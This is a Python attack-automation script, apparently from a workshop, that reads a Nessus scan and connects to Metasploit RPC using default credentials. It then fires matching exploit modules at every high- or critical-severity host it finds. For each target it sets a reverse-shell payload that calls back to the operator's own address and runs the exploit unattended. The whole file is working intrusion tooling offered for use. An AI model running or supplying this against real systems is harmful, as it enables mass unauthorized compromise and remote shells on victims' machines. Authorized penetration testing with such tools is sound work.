#!/usr/bin/env python3
import re
import sys
import argparse
import netifaces
import time
from IPython import embed
from lib.msfrpc import Msfrpc
from libnessus.parser import NessusParser
from netaddr import IPNetwork, AddrFormatError
def parse_args():
'''
Parse arguments
'''
parser = argparse.ArgumentParser()
parser.add_argument("-n", "--nessus", help="Nessus .nessus file", required=True)
parser.add_argument("-u", "--user", default='msf', help="Username for msfrpc")
parser.add_argument("-p", "--password", default='123', help="Password for msfrpc")
return parser.parse_args()
def parse_nessus():
'''
Parse .nessus file
'''
report = NessusParser.parse_fromfile(args.nessus)
return report
def get_nes_exploits(report):
'''
Read .nessus file for vulnerabilities that Metasploit can exploit
'''
# This will eventually be: exploits = [(msf_mod, ip, port, operating_sys), (msf_mod, ip, port, operating_sys)]
exploits = []
for host in report.hosts:
os_type = get_os_type(host)
if not os_type:
continue
report_items = host.get_report_items
for x in report_items:
vuln_info = x.get_vuln_info
severity = x.severity
# Make sure we're just getting highs and criticals
if int(severity) > 2:
exploit_data = get_exploit_data(host, vuln_info, severity, os_type)
if exploit_data:
exploits.append(exploit_data)
if len(exploits) > 0:
return exploits
else:
sys.exit('[-] No vulnerable hosts found')
def get_os_type(host):
'''
Converts Nessus operating system info to MSF exploit path label
'''
if 'operating-system' in host.get_host_properties:
os_type = host.get_host_properties['operating-system']
if 'windows' in os_type.lower():
os_type = 'windows'
elif 'linux' in os_type.lower():
os_type = 'linux'
elif 'solaris' in os_type.lower():
os_type = 'solaris'
elif 'android' in os_type.lower():
os_type = 'android'
elif 'unix' in os_type.lower():
os_type = 'unix'
elif 'osx' in os_type.lower():
os_type = 'osx'
return os_type
else:
return
def get_exploit_data(host, vuln_info, severity, operating_sys):
'''
Gather the exploitable vulnerability info
'''
if 'metasploit_name' in vuln_info:
# Get module name, IP and port
ip = host.address
port = vuln_info['port']
msf_mod = vuln_info['metasploit_name']
exploit_data = (msf_mod, ip, port, operating_sys)
return exploit_data
def get_msfrpc_client():
'''
Connect to MSF RPC API with permanent token
'''
client = Msfrpc({})
client.login(args.user, args.password)
client.call('auth.token_add', ['hexacon']) # create permanent API token
client.token = 'hexacon'
return client
def get_console_id(client):
'''
Get or create a metasploit console for running commands
'''
c_ids = [x[b'id'] for x in client.call('console.list')[b'consoles']]
if len(c_ids) == 0:
client.call('console.create')
c_ids = [x[b'id'] for x in client.call('console.list')[b'consoles']] # Wait for response
time.sleep(2)
# Get the latest console
c_id = c_ids[-1].decode('utf8')
# Clear console output
client.call('console.read', [c_id])[b'data'].decode('utf8').splitlines()
return c_id
########################### NEW CODE BELOW ############################
def run_nessus_exploits(client, c_id, nes_exploits):
'''
Matches metasploit module description from Nessus output to the
actual module path. Doesn't do aux (so no DOS), just exploits
'''
local_ip = get_local_ip(get_iface())
msf_exploits = get_all_exploits(client, c_id)
for mod_data in nes_exploits:
mod_desc = mod_data[0]
ip = mod_data[1]
port = mod_data[2]
os_type = mod_data[3]
path = get_msf_path(msf_exploits, mod_desc, os_type)
if not path:
continue
print('[+] Found vulnerable host! {}:{} - {}'.format(ip, port, path))####
module_output = run_msf_module(client, c_id, local_ip, ip, path, port, os_type)
if module_output:
print('[*] {} output:'.format(path))
for l in module_output:
print(' '+l)
print('')
def get_iface():
'''
Grabs an interface so we can grab the IP off that interface
'''
try:
iface = netifaces.gateways()['default'][netifaces.AF_INET][1]
except:
ifaces = []
for iface in netifaces.interfaces():
# list of ipv4 addrinfo dicts
ipv4s = netifaces.ifaddresses(iface).get(netifaces.AF_INET, [])
for entry in ipv4s:
addr = entry.get('addr')
if not addr:
continue
if not (iface.startswith('lo') or addr.startswith('127.')):
ifaces.append(iface)
# Just get the first interface
iface = ifaces[0]
return iface
def get_local_ip(iface):
'''
Gets the the local IP of an interface
'''
ip = netifaces.ifaddresses(iface)[netifaces.AF_INET][0]['addr']
return ip
def get_all_exploits(client, c_id):
'''
Gets all exploit modules from MSF
'''
all_exploits = []
print("[*] Collecting list of all Metasploit modules...")
cmd = "search exploit/"
output = run_console_cmd(client, c_id, cmd)
for l in output:
# Filter out nonexploits
if 'exploit/' in l:
all_exploits.append(l)
return all_exploits
def run_console_cmd(client, c_id, cmd):
'''
Runs module and gets output
'''
cmd = cmd + '\n'
print('[*] Running MSF command:')
for l in cmd.splitlines():
l = l.strip()
if l != '':
print(' {}'.format(l))
print('')
client.call('console.write',[c_id, cmd])
time.sleep(3)
mod_output = get_console_output(client, c_id)
return mod_output
def get_msf_path(msf_exploits, mod_desc, os_type):
'''
Converts Nessus' module desc to MSF module path
'''
for x in msf_exploits:
x_split = x.split(None, 3)
if len(x_split) == 4:
path = x_split[0]
date = x_split[1]
rank = x_split[2]
msf_desc = x_split[3]
if mod_desc.lower() in msf_desc.lower():
if 'exploit/' in path:
if '/local/' not in path and '/fileformat/' not in path:
return path
def run_msf_module(client, c_id, local_ip, ip, mod_path, port, os_type):
'''
Run a Metasploit module
'''
rhost_var = None
req_opts = get_req_opts(client, c_id, mod_path)
# Sometimes it's RHOSTS sometimes its RHOST
for o in req_opts:
if 'RHOST' in o:
rhost_var = o
else:
rhost_var = 'RHOSTS'
if not rhost_var:
print('[-] No RHOST required option for this module meaning it won\'t give us a shell - skipping')
return
target_num = get_target(client, c_id, mod_path, os_type)
payload = get_payload(client, mod_path, os_type, target_num)
# Set the various options
cmd = create_msf_cmd(mod_path, rhost_var, ip, port, payload, target_num)
settings_out = run_console_cmd(client, c_id, cmd)
# Run!
exploit_cmd = 'exploit -z\n'
mod_out = run_console_cmd(client, c_id, exploit_cmd)
return mod_out
def get_req_opts(client, c_id, mod_path):
'''
Query MSF for required options for a module
'''
req_opts = []
opts = client.call('module.options', [c_id, mod_path])
for opt_name in opts:
if b'required' in opts[opt_name]:
if opts[opt_name][b'required'] == True:
if b'default' not in opts[opt_name]:
req_opts.append(opt_name.decode('utf8'))
return req_opts
def get_target(client, c_id, mod_path, os_type):
'''
Sets the correct target based on OS
'''
found = False
# targets = {'0':'target 0 desc'}
targets = get_target_num_lines(client, c_id, mod_path)
# Only one target
if len(targets) == 1:
for target_num in targets:
return target_num
# Multiple targets
else:
for target_num in targets:
# Use automatic targeting first if given option
if 'automatic' in targets[target_num]:
found = True
break
# Use the first target with matching OS type
elif os_type in targets[target_num]:
found = True
break
# Use Java if neither of the first conditions are met
elif 'java' in targets[target_num]:
found = True
break
# If nothing else worked just set the target to 0
if not found:
target_num = '0'
return target_num
def get_target_num_lines(client, c_id, mod_path):
'''
Gets just the lines of output that contain a target number
'''
targets = {}
cmd = 'use {}\nshow targets\n'.format(mod_path)
raw_targets = run_console_cmd(client, c_id, cmd)
for l in raw_targets:
if 'No exploit module selected' in l:
return
# Parse the lines with actual target numbers
re_opt_num = re.match(' (\d+) ', l)
if re_opt_num:
l = l.split(None, 1)
target_num = l[0]
targets[target_num] = l[1].lower()
return targets
def create_msf_cmd(mod_path, rhost_var, ip, port, payload, target_num, extra_opts=''):
'''
Creates a one-liner MSF command to set all the right options
You can set arbitrary options that don't get used which is why we autoinclude
ExitOnSession True and SRVHOST (for JBoss)
'''
local_ip = get_local_ip(get_iface())
print('[*] Setting options on {}'.format(mod_path))
cmd = """
set target {}\n
set {} {}\n
set RPORT {}\n
set LHOST {}\n
set SRVHOST {}\n
set payload {}\n
set ExitOnSession True\n
{}\n
""".format(target_num, rhost_var, ip, port, local_ip, local_ip, payload, extra_opts)
return cmd
def get_payload(client, mod_path, os_type, target_num):
'''
Automatically get compatible payloads
'''
payload = None
payloads = []
win_payloads = ['windows/meterpreter/reverse_https',
'windows/x64/meterpreter/reverse_https',
'java/meterpreter/reverse_https',
'java/jsp_shell_reverse_tcp']
nix_payloads = ['generic/shell_reverse_tcp',
'java/meterpreter/reverse_https',
'java/jsp_shell_reverse_tcp',
'cmd/unix/reverse']
if target_num:
payloads_dict = client.call('module.target_compatible_payloads', [mod_path, int(target_num)])
else:
payloads_dict = client.call('module.compatible_payloads', [mod_path])
if b'error' in payloads_dict:
print('[-] Error getting payload for {}'.format(mod_path))
else:
byte_payloads = payloads_dict[b'payloads']
for p in byte_payloads:
payloads.append(p.decode('utf8'))
# Set a preferred payload based on OS
if 'windows' in os_type:
for p in win_payloads:
if p in payloads:
payload = p
else:
for p in nix_payloads:
if p in payloads:
payload = p
# Some error handling/debug info
if payload == None:
print('[-] No preferred payload found, first and last comapatible payloads:')
print(' '+payloads[0])
print(' '+payloads[-1])
print('[-] Skipping this exploit')
return payload
def get_console_output(client, c_id):
'''
Gets complete command output from a console
'''
output = []
consoles = [x[b'id'].decode('utf8') for x in client.call('console.list')[b'consoles']]
list_offset = consoles.index(c_id)
# Get any initial output
output += client.call('console.read', [c_id])[b'data'].decode('utf8').splitlines()
while client.call('console.list')[b'consoles'][list_offset][b'busy'] == True:
output += client.call('console.read', [c_id])[b'data'].decode('utf8').splitlines()
time.sleep(1)
# Get remaining output
output += client.call('console.read', [c_id])[b'data'].decode('utf8').splitlines()
return output
#################################### END NEW CODE #########################################
def main():
report = parse_nessus()
nes_exploits = get_nes_exploits(report)
client = get_msfrpc_client()
console_id = get_console_id(client)
run_nessus_exploits(client, console_id, nes_exploits)
if __name__ == '__main__':
args = parse_args() # This makes the 'args' variable global
main()
